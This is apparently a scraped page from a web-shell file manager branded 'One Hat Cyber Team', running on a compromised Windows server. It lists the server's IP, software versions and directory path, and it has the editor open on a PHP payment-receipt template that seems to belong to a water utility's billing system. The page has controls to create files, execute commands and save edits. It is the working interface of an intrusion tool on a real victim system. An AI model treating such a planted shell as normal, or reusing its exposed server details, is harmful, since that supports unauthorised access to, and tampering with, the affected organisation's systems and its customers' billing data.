One Hat Cyber Team
Your IP :
172.16.0.254
Server IP :
58.26.163.33
Server :
Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Server Software :
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
PHP Version :
7.3.25
Buat File
|
Buat Folder
Eksekusi
Dir :
C:
/
xampp7
/
htdocs
/
edgpens
/
pdf
/
file
/
res
/
Edit File:
printPayRcp.php
<style> p.a { word-spacing: normal; } p.b { word-spacing: 30px; } p.c { word-spacing: 1cm; } .container{ display: flex; } .fixed{ width: 200px; } /*.flex-item{ flex-grow: 1; } */ /* table, th, td { border: 1px solid black; border-collapse: collapse; } */ div{ /*background:yellow;*/ /*font-family: "Times New Roman", Times, serif;*/ /*font-size: 11px;*/ /*font-weight: bold;*/ /*text-align: center;*/ /*position:absolute;*/ } </style> <!-- https://stackoverflow.com/questions/8776391/working-with-css-floats-in-html2pdf/8968754 https://www.w3schools.com/cssref/css3_pr_text-justify.asp --> <!-- <page backtop="0mm" backbottom="25mm" backleft="50mm" backright="50mm"> --> <?php $s=oci_parse($conn, $q1); $r = oci_execute($s); // $r1=oci_fetch_array($s, OCI_ASSOC+OCI_RETURN_NULLS); while($r1=oci_fetch_array($s, OCI_ASSOC+OCI_RETURN_NULLS)){ $stanam = $r1['STANAM']; $machnum = $r1['MACHNUM']; $accnum = $r1['ACCNUM']; $coldat = $r1['COLDAT']; $cashierid = $r1['CASHIERID']; $bilnum = $r1['BILNUM']; $amount = $r1['AMOUNT']; $amount = number_format($amount, 2, '.', ','); $abrv = $r1['ABRV']; ?> <!-- ################################################################# PAGE 1 ################################################################## --> <page backtop="2mm" backleft="5mm" backright="2mm" backbottom="2mm"> <page_header> <!-- <img src="../img/sada/avatar9.jpg" height="40px" width="40px" alt="Logo SADA" style="float:left;"> <div style="margin-left: 12mm;width: 160mm;font-size: 11px; text-align: left;"> SYARIKAT AIR DARUL AMAN SB 200901011159 <br> Lot 892, Jalan Sultan Badlishah<br> 05710 Alor Setar <br> Kedah. <br> 604-7400500 </div> --> </page_header> <div style="margin-top: 15mm;margin-left: 10mm;width: 170mm;font-size: 11px;position: absolute;text-align: left;"><?php echo $stanam." ".$machnum." ".$accnum; ?></div> <div style="margin-top: 20mm;margin-left: 10mm;width: 170mm;font-size: 11px;position: absolute;text-align: left;"><?php echo $coldat." ".$cashierid." ".$bilnum." ".$amount." ".$abrv; ?></div> <div style="margin-top: 45mm;margin-left: 10mm;width: 170mm;font-size: 11px;position: absolute;text-align: left;"><?php echo $stanam." ".$machnum." ".$accnum; ?></div> <div style="margin-top: 50mm;margin-left: 10mm;width: 170mm;font-size: 11px;position: absolute;text-align: left;"><?php echo $coldat." ".$cashierid." ".$bilnum." ".$amount." ".$abrv; ?></div> </page> <!-- ################################################################# END PAGE 1 ################################################################## --> <?php }//while($r1=oci_fetch_array($s, OCI_ASSOC+OCI_RETURN_NULLS)){ ?>
Simpan